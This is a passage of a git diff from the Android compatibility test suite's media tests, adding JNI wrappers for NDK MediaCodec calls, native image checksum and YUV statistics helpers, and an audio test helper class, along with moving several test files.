+extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreatePersistentInputSurface(
+        JNIEnv* /*env*/, jclass /*clazz*/) {
+
+    ANativeWindow *nativeWindow;
+    media_status_t err = AMediaCodec_createPersistentInputSurface(&nativeWindow);
+
+     if (err == AMEDIA_OK) {
+         return reinterpret_cast<jlong>(nativeWindow);
+     }
+
+     return 0;
+
+}
+
+extern "C" jstring Java_android_media_cts_NdkMediaCodec_AMediaCodecGetOutputFormatString(
+        JNIEnv* env, jclass /*clazz*/, jlong codec) {
+
+    AMediaFormat *format = AMediaCodec_getOutputFormat(reinterpret_cast<AMediaCodec *>(codec));
+    const char *str = AMediaFormat_toString(format);
+    jstring jstr = env->NewStringUTF(str);
+    AMediaFormat_delete(format);
+    return jstr;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSignalEndOfInputStream(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec) {
+
+    media_status_t err = AMediaCodec_signalEndOfInputStream(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecReleaseOutputBuffer(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jint index, jboolean render) {
+
+    media_status_t err = AMediaCodec_releaseOutputBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            index,
+            render);
+
+    return err == AMEDIA_OK;
+
+}
+
+static jobject AMediaCodecGetBuffer(
+        JNIEnv* env,
+        jlong codec,
+        jint index,
+        uint8_t *(*getBuffer)(AMediaCodec*, size_t, size_t*)) {
+
+    size_t bufsize;
+    uint8_t *buf = getBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            index,
+            &bufsize);
+
+    return env->NewDirectByteBuffer(buf, bufsize);
+
+}
+
+extern "C" jobject Java_android_media_cts_NdkMediaCodec_AMediaCodecGetOutputBuffer(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jint index) {
+
+    return AMediaCodecGetBuffer(env, codec, index, AMediaCodec_getOutputBuffer);
+
+}
+
+extern "C" jlongArray Java_android_media_cts_NdkMediaCodec_AMediaCodecDequeueOutputBuffer(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jlong timeoutUs) {
+
+    AMediaCodecBufferInfo info;
+    memset(&info, 0, sizeof(info));
+    int status = AMediaCodec_dequeueOutputBuffer(
+        reinterpret_cast<AMediaCodec *>(codec),
+        &info,
+        timeoutUs);
+
+    jlong ret[5] = {0};
+    ret[0] = status;
+    ret[1] = 0; // NdkMediaCodec calls ABuffer::data, which already adds offset
+    ret[2] = info.size;
+    ret[3] = info.presentationTimeUs;
+    ret[4] = info.flags;
+
+    jlongArray jret = env->NewLongArray(5);
+    env->SetLongArrayRegion(jret, 0, 5, ret);
+    return jret;
+
+}
+
+extern "C" jobject Java_android_media_cts_NdkMediaCodec_AMediaCodecGetInputBuffer(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jint index) {
+
+    return AMediaCodecGetBuffer(env, codec, index, AMediaCodec_getInputBuffer);
+
+}
+
+extern "C" jint Java_android_media_cts_NdkMediaCodec_AMediaCodecDequeueInputBuffer(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jlong timeoutUs) {
+
+    return AMediaCodec_dequeueInputBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            timeoutUs);
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecQueueInputBuffer(
+        JNIEnv* /*env*/,
+        jclass /*clazz*/,
+        jlong codec,
+        jint index,
+        jint offset,
+        jint size,
+        jlong presentationTimeUs,
+        jint flags) {
+
+    media_status_t err = AMediaCodec_queueInputBuffer(
+            reinterpret_cast<AMediaCodec *>(codec),
+            index,
+            offset,
+            size,
+            presentationTimeUs,
+            flags);
+
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetParameter(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jstring jkey, jint value) {
+
+    AMediaFormat* params = AMediaFormat_new();
+    if (params == NULL) {
+        return false;
+    }
+
+    const char *key = env->GetStringUTFChars(jkey, NULL);
+    if (key == NULL) {
+        AMediaFormat_delete(params);
+        return false;
+    }
+
+    AMediaFormat_setInt32(params, key, value);
+    media_status_t err = AMediaCodec_setParameters(
+            reinterpret_cast<AMediaCodec *>(codec),
+            params);
+    env->ReleaseStringUTFChars(jkey, key);
+    AMediaFormat_delete(params);
+    return err == AMEDIA_OK;
+
+}
\ No newline at end of file
diff --git a/tests/tests/media/common/jni/codec-utils-jni.cpp b/tests/tests/media/common/jni/codec-utils-jni.cpp
new file mode 100644
index 0000000..7724ba8
--- /dev/null
+++ b/tests/tests/media/common/jni/codec-utils-jni.cpp
@@ -0,0 +1,559 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Original code copied from NDK Native-media sample code */
+
+//#define LOG_NDEBUG 0
+#define TAG "CodecUtilsJNI"
+#include <log/log.h>
+
+#include <stdint.h>
+#include <sys/types.h>
+#include <jni.h>
+
+// workaround for using ScopedLocalRef with system runtime
+// TODO: Remove this after b/74632104 is fixed
+namespace std
+{
+  typedef decltype(nullptr) nullptr_t;
+}
+
+#include <nativehelper/JNIHelp.h>
+#include <nativehelper/ScopedLocalRef.h>
+
+#include <math.h>
+
+#include "md5_utils.h"
+
+// ImageFormat.YCBCR_P010 was defined in API31.
+#define __YCBCR_P010_MIN_API__ 31
+
+typedef ssize_t offs_t;
+
+struct NativeImage {
+    struct crop {
+        int left;
+        int top;
+        int right;
+        int bottom;
+    } crop;
+    struct plane {
+        const uint8_t *buffer;
+        size_t size;
+        ssize_t colInc;
+        ssize_t rowInc;
+        offs_t cropOffs;
+        size_t cropWidth;
+        size_t cropHeight;
+    } plane[3];
+    int width;
+    int height;
+    int format;
+    long timestamp;
+    size_t numPlanes;
+};
+
+struct ChecksumAlg {
+    virtual void init() = 0;
+    virtual void update(uint8_t c) = 0;
+    virtual uint32_t checksum() = 0;
+    virtual size_t length() = 0;
+protected:
+    virtual ~ChecksumAlg() {}
+};
+
+struct Adler32 : ChecksumAlg {
+    Adler32() {
+        init();
+    }
+    void init() {
+        a = 1;
+        len = b = 0;
+    }
+    void update(uint8_t c) {
+        a += c;
+        b += a;
+        ++len;
+    }
+    uint32_t checksum() {
+        return (a % 65521) + ((b % 65521) << 16);
+    }
+    size_t length() {
+        return len;
+    }
+private:
+    uint32_t a, b;
+    size_t len;
+};
+
+static struct ImageFieldsAndMethods {
+    // android.graphics.ImageFormat
+    int YUV_420_888;
+    int YCBCR_P010;
+    // android.media.Image
+    jmethodID methodWidth;
+    jmethodID methodHeight;
+    jmethodID methodFormat;
+    jmethodID methodTimestamp;
+    jmethodID methodPlanes;
+    jmethodID methodCrop;
+    // android.media.Image.Plane
+    jmethodID methodBuffer;
+    jmethodID methodPixelStride;
+    jmethodID methodRowStride;
+    // android.graphics.Rect
+    jfieldID fieldLeft;
+    jfieldID fieldTop;
+    jfieldID fieldRight;
+    jfieldID fieldBottom;
+} gFields;
+static bool gFieldsInitialized = false;
+
+void initializeGlobalFields(JNIEnv *env) {
+    if (gFieldsInitialized) {
+        return;
+    }
+    {   // ImageFormat
+        jclass imageFormatClazz = env->FindClass("android/graphics/ImageFormat");
+        const jfieldID fieldYUV420888 = env->GetStaticFieldID(imageFormatClazz, "YUV_420_888", "I");
+        gFields.YUV_420_888 = env->GetStaticIntField(imageFormatClazz, fieldYUV420888);
+        if (__builtin_available(android __YCBCR_P010_MIN_API__, *)) {
+            const jfieldID fieldYCBCRP010 = env->GetStaticFieldID(imageFormatClazz,
+                    "YCBCR_P010", "I");
+            gFields.YCBCR_P010 = env->GetStaticIntField(imageFormatClazz, fieldYCBCRP010);
+        } else {
+            // Set this to -1 to ensure it doesn't get equated to any valid color format
+            gFields.YCBCR_P010 = -1;
+        }
+        env->DeleteLocalRef(imageFormatClazz);
+        imageFormatClazz = NULL;
+    }
+
+    {   // Image
+        jclass imageClazz = env->FindClass("android/media/cts/CodecImage");
+        gFields.methodWidth  = env->GetMethodID(imageClazz, "getWidth", "()I");
+        gFields.methodHeight = env->GetMethodID(imageClazz, "getHeight", "()I");
+        gFields.methodFormat = env->GetMethodID(imageClazz, "getFormat", "()I");
+        gFields.methodTimestamp = env->GetMethodID(imageClazz, "getTimestamp", "()J");
+        gFields.methodPlanes = env->GetMethodID(
+                imageClazz, "getPlanes", "()[Landroid/media/cts/CodecImage$Plane;");
+        gFields.methodCrop   = env->GetMethodID(
+                imageClazz, "getCropRect", "()Landroid/graphics/Rect;");
+        env->DeleteLocalRef(imageClazz);
+        imageClazz = NULL;
+    }
+
+    {   // Image.Plane
+        jclass planeClazz = env->FindClass("android/media/cts/CodecImage$Plane");
+        gFields.methodBuffer = env->GetMethodID(planeClazz, "getBuffer", "()Ljava/nio/ByteBuffer;");
+        gFields.methodPixelStride = env->GetMethodID(planeClazz, "getPixelStride", "()I");
+        gFields.methodRowStride = env->GetMethodID(planeClazz, "getRowStride", "()I");
+        env->DeleteLocalRef(planeClazz);
+        planeClazz = NULL;
+    }
+
+    {   // Rect
+        jclass rectClazz = env->FindClass("android/graphics/Rect");
+        gFields.fieldLeft   = env->GetFieldID(rectClazz, "left", "I");
+        gFields.fieldTop    = env->GetFieldID(rectClazz, "top", "I");
+        gFields.fieldRight  = env->GetFieldID(rectClazz, "right", "I");
+        gFields.fieldBottom = env->GetFieldID(rectClazz, "bottom", "I");
+        env->DeleteLocalRef(rectClazz);
+        rectClazz = NULL;
+    }
+    gFieldsInitialized = true;
+}
+
+NativeImage *getNativeImage(JNIEnv *env, jobject image, jobject area = NULL) {
+    if (image == NULL) {
+        jniThrowNullPointerException(env, "image is null");
+        return NULL;
+    }
+
+    initializeGlobalFields(env);
+
+    NativeImage *img = new NativeImage;
+    img->format = env->CallIntMethod(image, gFields.methodFormat);
+    img->width  = env->CallIntMethod(image, gFields.methodWidth);
+    img->height = env->CallIntMethod(image, gFields.methodHeight);
+    img->timestamp = env->CallLongMethod(image, gFields.methodTimestamp);
+
+    jobject cropRect = NULL;
+    if (area == NULL) {
+        cropRect = env->CallObjectMethod(image, gFields.methodCrop);
+        area = cropRect;
+    }
+
+    img->crop.left   = env->GetIntField(area, gFields.fieldLeft);
+    img->crop.top    = env->GetIntField(area, gFields.fieldTop);
+    img->crop.right  = env->GetIntField(area, gFields.fieldRight);
+    img->crop.bottom = env->GetIntField(area, gFields.fieldBottom);
+    if (img->crop.right == 0 && img->crop.bottom == 0) {
+        img->crop.right  = img->width;
+        img->crop.bottom = img->height;
+    }
+
+    if (cropRect != NULL) {
+        env->DeleteLocalRef(cropRect);
+        cropRect = NULL;
+    }
+
+    if (img->format != gFields.YUV_420_888 && img->format != gFields.YCBCR_P010) {
+        jniThrowException(
+                env, "java/lang/UnsupportedOperationException",
+                "only support YUV_420_888 and YCBCR_P010 images");
+        delete img;
+        img = NULL;
+        return NULL;
+    }
+    img->numPlanes = 3;
+
+    ScopedLocalRef<jobjectArray> planesArray(
+            env, (jobjectArray)env->CallObjectMethod(image, gFields.methodPlanes));
+    int xDecim = 0;
+    int yDecim = 0;
+    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
+        ScopedLocalRef<jobject> plane(
+                env, env->GetObjectArrayElement(planesArray.get(), (jsize)ix));
+        img->plane[ix].colInc = env->CallIntMethod(plane.get(), gFields.methodPixelStride);
+        img->plane[ix].rowInc = env->CallIntMethod(plane.get(), gFields.methodRowStride);
+        ScopedLocalRef<jobject> buffer(
+                env, env->CallObjectMethod(plane.get(), gFields.methodBuffer));
+
+        img->plane[ix].buffer = (const uint8_t *)env->GetDirectBufferAddress(buffer.get());
+        img->plane[ix].size = env->GetDirectBufferCapacity(buffer.get());
+
+        img->plane[ix].cropOffs =
+            (img->crop.left >> xDecim) * img->plane[ix].colInc
+                    + (img->crop.top >> yDecim) * img->plane[ix].rowInc;
+        img->plane[ix].cropHeight =
+            ((img->crop.bottom + (1 << yDecim) - 1) >> yDecim) - (img->crop.top >> yDecim);
+        img->plane[ix].cropWidth =
+            ((img->crop.right + (1 << xDecim) - 1) >> xDecim) - (img->crop.left >> xDecim);
+
+        // validate increments
+        ssize_t widthOffs =
+            (((img->width + (1 << xDecim) - 1) >> xDecim) - 1) * img->plane[ix].colInc;
+        ssize_t heightOffs =
+            (((img->height + (1 << yDecim) - 1) >> yDecim) - 1) * img->plane[ix].rowInc;
+        if (widthOffs < 0 || heightOffs < 0
+                || widthOffs + heightOffs >= (ssize_t)img->plane[ix].size) {
+            jniThrowException(
+                    env, "java/lang/IndexOutOfBoundsException", "plane exceeds bytearray");
+            delete img;
+            img = NULL;
+            return NULL;
+        }
+        xDecim = yDecim = 1;
+    }
+    return img;
+}
+
+extern "C" jint Java_android_media_cts_CodecUtils_getImageChecksumAlder32(JNIEnv *env,
+        jclass /*clazz*/, jobject image)
+{
+    NativeImage *img = getNativeImage(env, image);
+    if (img == NULL) {
+        return 0;
+    }
+
+    Adler32 adler;
+    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
+        const uint8_t *row = img->plane[ix].buffer + img->plane[ix].cropOffs;
+        for (size_t y = img->plane[ix].cropHeight; y > 0; --y) {
+            const uint8_t *col = row;
+            ssize_t colInc = img->plane[ix].colInc;
+            for (size_t x = img->plane[ix].cropWidth; x > 0; --x) {
+                adler.update(*col);
+                col += colInc;
+            }
+            row += img->plane[ix].rowInc;
+        }
+    }
+    ALOGV("adler %zu/%u", adler.length(), adler.checksum());
+    return adler.checksum();
+}
+
+extern "C" jstring Java_android_media_cts_CodecUtils_getImageChecksumMD5(JNIEnv *env,
+        jclass /*clazz*/, jobject image)
+{
+    NativeImage *img = getNativeImage(env, image);
+    if (img == NULL) {
+        return 0;
+    }
+
+    MD5Context md5;
+    char res[33];
+    MD5Init(&md5);
+
+    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
+        const uint8_t *row = img->plane[ix].buffer + img->plane[ix].cropOffs;
+        for (size_t y = img->plane[ix].cropHeight; y > 0; --y) {
+            const uint8_t *col = row;
+            ssize_t colInc = img->plane[ix].colInc;
+            for (size_t x = img->plane[ix].cropWidth; x > 0; --x) {
+                MD5Update(&md5, col, 1);
+                col += colInc;
+            }
+            row += img->plane[ix].rowInc;
+        }
+    }
+
+    static const char hex[16] = {
+        '0', '1', '2', '3', '4', '5', '6', '7',
+        '8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
+    };
+    uint8_t tmp[16];
+
+    MD5Final(tmp, &md5);
+    for (int i = 0; i < 16; i++) {
+        res[i * 2 + 0] = hex[tmp[i] >> 4];
+        res[i * 2 + 1] = hex[tmp[i] & 0xf];
+    }
+    res[32] = 0;
+
+    return env->NewStringUTF(res);
+}
+
+/* tiled copy that loops around source image boundary */
+extern "C" void Java_android_media_cts_CodecUtils_copyFlexYUVImage(JNIEnv *env,
+        jclass /*clazz*/, jobject target, jobject source)
+{
+    NativeImage *tgt = getNativeImage(env, target);
+    NativeImage *src = getNativeImage(env, source);
+    if (tgt != NULL && src != NULL) {
+        ALOGV("copyFlexYUVImage %dx%d (%d,%d..%d,%d) (%zux%zu) %+zd%+zd %+zd%+zd %+zd%+zd <= "
+                "%dx%d (%d, %d..%d, %d) (%zux%zu) %+zd%+zd %+zd%+zd %+zd%+zd",
+                tgt->width, tgt->height,
+                tgt->crop.left, tgt->crop.top, tgt->crop.right, tgt->crop.bottom,
+                tgt->plane[0].cropWidth, tgt->plane[0].cropHeight,
+                tgt->plane[0].rowInc, tgt->plane[0].colInc,
+                tgt->plane[1].rowInc, tgt->plane[1].colInc,
+                tgt->plane[2].rowInc, tgt->plane[2].colInc,
+                src->width, src->height,
+                src->crop.left, src->crop.top, src->crop.right, src->crop.bottom,
+                src->plane[0].cropWidth, src->plane[0].cropHeight,
+                src->plane[0].rowInc, src->plane[0].colInc,
+                src->plane[1].rowInc, src->plane[1].colInc,
+                src->plane[2].rowInc, src->plane[2].colInc);
+        for (size_t ix = 0; ix < tgt->numPlanes; ++ix) {
+            uint8_t *row = const_cast<uint8_t *>(tgt->plane[ix].buffer) + tgt->plane[ix].cropOffs;
+            for (size_t y = 0; y < tgt->plane[ix].cropHeight; ++y) {
+                uint8_t *col = row;
+                ssize_t colInc = tgt->plane[ix].colInc;
+                const uint8_t *srcRow = (src->plane[ix].buffer + src->plane[ix].cropOffs
+                        + src->plane[ix].rowInc * (y % src->plane[ix].cropHeight));
+                for (size_t x = 0; x < tgt->plane[ix].cropWidth; ++x) {
+                    *col = srcRow[src->plane[ix].colInc * (x % src->plane[ix].cropWidth)];
+                    col += colInc;
+                }
+                row += tgt->plane[ix].rowInc;
+            }
+        }
+    }
+}
+
+extern "C" void Java_android_media_cts_CodecUtils_fillImageRectWithYUV(JNIEnv *env,
+        jclass /*clazz*/, jobject image, jobject area, jint y, jint u, jint v)
+{
+    NativeImage *img = getNativeImage(env, image, area);
+    if (img == NULL) {
+        return;
+    }
+
+    for (size_t ix = 0; ix < img->numPlanes; ++ix) {
+        const uint8_t *row = img->plane[ix].buffer + img->plane[ix].cropOffs;
+        uint8_t val = ix == 0 ? y : ix == 1 ? u : v;
+        for (size_t y = img->plane[ix].cropHeight; y > 0; --y) {
+            uint8_t *col = (uint8_t *)row;
+            ssize_t colInc = img->plane[ix].colInc;
+            for (size_t x = img->plane[ix].cropWidth; x > 0; --x) {
+                *col = val;
+                col += colInc;
+            }
+            row += img->plane[ix].rowInc;
+        }
+    }
+}
+
+void getRawStats(NativeImage *img, jlong rawStats[10])
+{
+    // this works best if crop area is even
+
+    uint64_t sum_x[3]  = { 0, 0, 0 }; // Y, U, V
+    uint64_t sum_xx[3] = { 0, 0, 0 }; // YY, UU, VV
+    uint64_t sum_xy[3] = { 0, 0, 0 }; // YU, YV, UV
+
+    const uint8_t *yrow = img->plane[0].buffer + img->plane[0].cropOffs;
+    const uint8_t *urow = img->plane[1].buffer + img->plane[1].cropOffs;
+    const uint8_t *vrow = img->plane[2].buffer + img->plane[2].cropOffs;
+
+    ssize_t ycolInc = img->plane[0].colInc;
+    ssize_t ucolInc = img->plane[1].colInc;
+    ssize_t vcolInc = img->plane[2].colInc;
+
+    ssize_t yrowInc = img->plane[0].rowInc;
+    ssize_t urowInc = img->plane[1].rowInc;
+    ssize_t vrowInc = img->plane[2].rowInc;
+
+    size_t rightOdd = img->crop.right & 1;
+    size_t bottomOdd = img->crop.bottom & 1;
+
+    for (size_t y = img->plane[0].cropHeight; y; --y) {
+        uint8_t *ycol = (uint8_t *)yrow;
+        uint8_t *ucol = (uint8_t *)urow;
+        uint8_t *vcol = (uint8_t *)vrow;
+
+        for (size_t x = img->plane[0].cropWidth; x; --x) {
+            uint64_t Y = 0, U = 0, V = 0;
+            if (img->format == gFields.YCBCR_P010) {
+                // Only most significant 8 bits are used for statistics as rest of the analysis
+                // is based on 8-bit data
+                Y = *(ycol + 1);
+                U = *(ucol + 1);
+                V = *(vcol + 1);
+            } else {
+                Y = *ycol;
+                U = *ucol;
+                V = *vcol;
+            }
+
+            sum_x[0] += Y;
+            sum_x[1] += U;
+            sum_x[2] += V;
+            sum_xx[0] += Y * Y;
+            sum_xx[1] += U * U;
+            sum_xx[2] += V * V;
+            sum_xy[0] += Y * U;
+            sum_xy[1] += Y * V;
+            sum_xy[2] += U * V;
+
+            ycol += ycolInc;
+            if (rightOdd ^ (x & 1)) {
+                ucol += ucolInc;
+                vcol += vcolInc;
+            }
+        }
+
+        yrow += yrowInc;
+        if (bottomOdd ^ (y & 1)) {
+            urow += urowInc;
+            vrow += vrowInc;
+        }
+    }
+
+    rawStats[0] = img->plane[0].cropWidth * (uint64_t)img->plane[0].cropHeight;
+    for (size_t i = 0; i < 3; i++) {
+        rawStats[i + 1] = sum_x[i];
+        rawStats[i + 4] = sum_xx[i];
+        rawStats[i + 7] = sum_xy[i];
+    }
+}
+
+bool Raw2YUVStats(jlong rawStats[10], jfloat stats[9]) {
+    int64_t sum_x[3], sum_xx[3]; // Y, U, V
+    int64_t sum_xy[3];           // YU, YV, UV
+
+    int64_t num = rawStats[0];   // #Y,U,V
+    for (size_t i = 0; i < 3; i++) {
+        sum_x[i] = rawStats[i + 1];
+        sum_xx[i] = rawStats[i + 4];
+        sum_xy[i] = rawStats[i + 7];
+    }
+
+    if (num > 0) {
+        stats[0] = sum_x[0] / (float)num;  // y average
+        stats[1] = sum_x[1] / (float)num;  // u average
+        stats[2] = sum_x[2] / (float)num;  // v average
+
+        // 60 bits for 4Mpixel image
+        // adding 1 to avoid degenerate case when deviation is 0
+        stats[3] = sqrtf((sum_xx[0] + 1) * num - sum_x[0] * sum_x[0]) / num; // y stdev
+        stats[4] = sqrtf((sum_xx[1] + 1) * num - sum_x[1] * sum_x[1]) / num; // u stdev
+        stats[5] = sqrtf((sum_xx[2] + 1) * num - sum_x[2] * sum_x[2]) / num; // v stdev
+
+        // yu covar
+        stats[6] = (float)(sum_xy[0] + 1 - sum_x[0] * sum_x[1] / num) / num / stats[3] / stats[4];
+        // yv covar
+        stats[7] = (float)(sum_xy[1] + 1 - sum_x[0] * sum_x[2] / num) / num / stats[3] / stats[5];
+        // uv covar
+        stats[8] = (float)(sum_xy[2] + 1 - sum_x[1] * sum_x[2] / num) / num / stats[4] / stats[5];
+        return true;
+    } else {
+        return false;
+    }
+}
+
+extern "C" jobject Java_android_media_cts_CodecUtils_getRawStats(JNIEnv *env,
+        jclass /*clazz*/, jobject image, jobject area)
+{
+    NativeImage *img = getNativeImage(env, image, area);
+    if (img == NULL) {
+        return NULL;
+    }
+
+    jlong rawStats[10];
+    getRawStats(img, rawStats);
+    jlongArray jstats = env->NewLongArray(10);
+    if (jstats != NULL) {
+        env->SetLongArrayRegion(jstats, 0, 10, rawStats);
+    }
+    return jstats;
+}
+
+extern "C" jobject Java_android_media_cts_CodecUtils_getYUVStats(JNIEnv *env,
+        jclass /*clazz*/, jobject image, jobject area)
+{
+    NativeImage *img = getNativeImage(env, image, area);
+    if (img == NULL) {
+        return NULL;
+    }
+
+    jlong rawStats[10];
+    getRawStats(img, rawStats);
+    jfloat stats[9];
+    jfloatArray jstats = NULL;
+    if (Raw2YUVStats(rawStats, stats)) {
+        jstats = env->NewFloatArray(9);
+        if (jstats != NULL) {
+            env->SetFloatArrayRegion(jstats, 0, 9, stats);
+        }
+    } else {
+        jniThrowRuntimeException(env, "empty area");
+    }
+
+    return jstats;
+}
+
+extern "C" jobject Java_android_media_cts_CodecUtils_Raw2YUVStats(JNIEnv *env,
+        jclass /*clazz*/, jobject jrawStats)
+{
+    jfloatArray jstats = NULL;
+    jlong rawStats[10];
+    env->GetLongArrayRegion((jlongArray)jrawStats, 0, 10, rawStats);
+    if (!env->ExceptionCheck()) {
+        jfloat stats[9];
+        if (Raw2YUVStats(rawStats, stats)) {
+            jstats = env->NewFloatArray(9);
+            if (jstats != NULL) {
+                env->SetFloatArrayRegion(jstats, 0, 9, stats);
+            }
+        } else {
+            jniThrowRuntimeException(env, "no raw statistics");
+        }
+    }
+    return jstats;
+}
diff --git a/tests/tests/media/libmediandkjni/md5_utils.cpp b/tests/tests/media/common/jni/md5_utils.cpp
similarity index 100%
rename from tests/tests/media/libmediandkjni/md5_utils.cpp
rename to tests/tests/media/common/jni/md5_utils.cpp
diff --git a/tests/tests/media/libmediandkjni/md5_utils.h b/tests/tests/media/common/jni/md5_utils.h
similarity index 100%
rename from tests/tests/media/libmediandkjni/md5_utils.h
rename to tests/tests/media/common/jni/md5_utils.h
diff --git a/tests/tests/media/res/layout/mediacodecplayer.xml b/tests/tests/media/common/res/layout/mediacodecplayer.xml
similarity index 100%
rename from tests/tests/media/res/layout/mediacodecplayer.xml
rename to tests/tests/media/common/res/layout/mediacodecplayer.xml
diff --git a/tests/tests/media/res/layout/mediaplayer.xml b/tests/tests/media/common/res/layout/mediaplayer.xml
similarity index 100%
rename from tests/tests/media/res/layout/mediaplayer.xml
rename to tests/tests/media/common/res/layout/mediaplayer.xml
diff --git a/tests/tests/media/res/raw/sine1khzs40dblong.mp3 b/tests/tests/media/common/res/raw/sine1khzs40dblong.mp3
similarity index 100%
copy from tests/tests/media/res/raw/sine1khzs40dblong.mp3
copy to tests/tests/media/common/res/raw/sine1khzs40dblong.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/testmp3.mp3 b/tests/tests/media/common/res/raw/testmp3.mp3
similarity index 100%
copy from tests/tests/media/res/raw/testmp3.mp3
copy to tests/tests/media/common/res/raw/testmp3.mp3
Binary files differ
diff --git a/tests/tests/media/res/xml/network_security_config.xml b/tests/tests/media/common/res/xml/network_security_config.xml
similarity index 100%
rename from tests/tests/media/res/xml/network_security_config.xml
rename to tests/tests/media/common/res/xml/network_security_config.xml
diff --git a/tests/tests/media/common/src/android/media/cts/AudioHelper.java b/tests/tests/media/common/src/android/media/cts/AudioHelper.java
new file mode 100644
index 0000000..995acda
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/AudioHelper.java
@@ -0,0 +1,687 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import java.nio.ByteBuffer;
+
+import org.junit.Assert;
+
+import android.annotation.IntRange;
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.os.Looper;
+import android.os.PersistableBundle;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+// Used for statistics and loopers in listener tests.
+// See AudioRecordTest.java and AudioTrack_ListenerTest.java.
+public class AudioHelper {
+
+    // asserts key equals expected in the metrics bundle.
+    public static void assertMetricsKeyEquals(
+            PersistableBundle metrics, String key, Object expected) {
+        Object actual = metrics.get(key);
+        assertEquals("metric " + key + " actual " + actual + " != " + " expected " + expected,
+                expected, actual);
+    }
+
+    // asserts key exists in the metrics bundle.
+    public static void assertMetricsKey(PersistableBundle metrics, String key) {
+        Object actual = metrics.get(key);
+        assertNotNull("metric " + key + " does not exist", actual);
+    }
+
+    // create sine waves or chirps for data arrays
+    public static byte[] createSoundDataInByteArray(int bufferSamples, final int sampleRate,
+            final double frequency, double sweep) {
+        final double rad = 2 * Math.PI * frequency / sampleRate;
+        byte[] vai = new byte[bufferSamples];
+        sweep = Math.PI * sweep / ((double)sampleRate * vai.length);
+        for (int j = 0; j < vai.length; j++) {
+            int unsigned =  (int)(Math.sin(j * (rad + j * sweep)) * Byte.MAX_VALUE)
+                    + Byte.MAX_VALUE & 0xFF;
+            vai[j] = (byte) unsigned;
+        }
+        return vai;
+    }
+
+    public static short[] createSoundDataInShortArray(int bufferSamples, final int sampleRate,
+            final double frequency, double sweep) {
+        final double rad = 2 * Math.PI * frequency / sampleRate;
+        short[] vai = new short[bufferSamples];
+        sweep = Math.PI * sweep / ((double)sampleRate * vai.length);
+        for (int j = 0; j < vai.length; j++) {
+            vai[j] = (short)(Math.sin(j * (rad + j * sweep)) * Short.MAX_VALUE);
+        }
+        return vai;
+    }
+
+    public static float[] createSoundDataInFloatArray(int bufferSamples, final int sampleRate,
+            final double frequency, double sweep) {
+        final double rad = 2 * Math.PI * frequency / sampleRate;
+        float[] vaf = new float[bufferSamples];
+        sweep = Math.PI * sweep / ((double)sampleRate * vaf.length);
+        for (int j = 0; j < vaf.length; j++) {
+            vaf[j] = (float)(Math.sin(j * (rad + j * sweep)));
+        }
+        return vaf;
+    }
+
+    /**
+     * Returns a consecutive bit mask starting from the 0th bit indicating which channels
+     * are active, used for maskArray below.
+     *
+     * @param channelMask the channel mask for audio data.
+     * @param validMask the valid channels to permit (should be a subset of channelMask) but
+     *                  not checked.
+     * @return an integer whose consecutive bits are set for the channels that are permitted.
+     */
+    private static int packMask(int channelMask, int validMask) {
+        final int channels = Integer.bitCount(channelMask);
+        if (channels == 0) {
+            throw new IllegalArgumentException("invalid channel mask " + channelMask);
+        }
+        int packMask = 0;
+        for (int i = 0; i < channels; ++i) {
+            final int lowbit = channelMask & -channelMask;
+            packMask |= (validMask & lowbit) != 0 ? (1 << i) : 0;
+            channelMask -= lowbit;
+        }
+        return packMask;
+    }
+
+    /**
+     * Zeroes out channels in an array of audio data for testing.
+     *
+     * @param array of audio data.
+     * @param channelMask representation for the audio data.
+     * @param validMask which channels are valid (other channels will be zeroed out).  A subset
+     *                  of channelMask.
+     */
